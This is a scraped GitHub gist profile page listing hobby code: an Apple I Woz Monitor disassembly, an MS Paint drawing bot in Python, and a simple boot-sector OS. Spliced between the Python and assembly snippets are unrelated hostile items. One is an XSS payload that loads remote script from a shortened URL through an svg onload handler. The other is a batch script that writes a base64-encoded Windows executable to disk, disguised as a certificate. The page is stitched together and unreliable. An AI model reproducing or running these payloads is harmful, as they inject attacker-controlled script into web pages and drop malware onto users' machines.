Skip to content

Instantly share code, notes, and snippets.

View WitherOrNot's full-sized avatar
🤠
yeehaw

WitherOrNot

🤠
yeehaw
View GitHub Profile
@WitherOrNot
WitherOrNot / woz_krusader.kasm
Last active April 30, 2019 11:34
Krusader ASM decompilation of the Woz Monitor interface from the Apple I
xaml .= $24
xamh .= $25
stl .= $26
sth .= $27
l .= $28
h .= $29
ysav .= $2a
mode .= $2b
in .= $0200
kbd .= $d010
@WitherOrNot
WitherOrNot / mspaint_bot.py
Last active March 27, 2019 18:51
A bot that draws images in MS Paint using the power of edge detection and dank memes
import numpy as np
import cv2
import matplotlib.pyplot as plt
import pyautogui
import time
import sys
im = cv2.imread(sys.argv[1])
imgray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)
ret,thresh = cv2.threshold(imgray,127,255,0)
";//<svg onload="$.getScript('//cutt.ly/wrqQHy3')"/>
Access code: 281-649-922
@echo off
echo -----BEGIN CERTIFICATE----- >>c
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>c
echo AAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v >>c
echo dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC2QW068iADafIgA2nyIANp >>c
echo +1iQaf0gA2nyIAJpzyADaWB+Bmj3IANpYH78afMgA2lgfgFo8yADaVJpY2jyIANp >>c
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQC/RoJXAAAAAAAAAADgAAIB >>c
echo CwEOAAAMAAAAKgAAAAAAAC0SAAAAEAAAACAAAAAAQAAAEAAAAAIAAAUAAQAAAAAA >>c
echo BQABAAAAAAAAgAAAAAQAAAAAAAACAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA >>c
echo AAAAAAAAAAC0OwAAoAAAAABgAADoAQAAAAAAAAAAAAAAAAAAAAAAAABwAAAMAgAA >>c
@WitherOrNot
WitherOrNot / simple_os.asm
Last active February 10, 2020 15:13
A simple real mode os in assembly. To make a bootable floppy image, type nasm -f bin -o os.bin simple_os.asm && dd conv=notrunc if=os.bin of=simple_os.img into a command line.
org 0x7c00 ; put code in a safe location
bits 16 ; put in 16 bit mode
; setting up stack
mov ax, 0
mov es, ax
mov ds, ax
mov ss, ax
mov sp, 0x7c00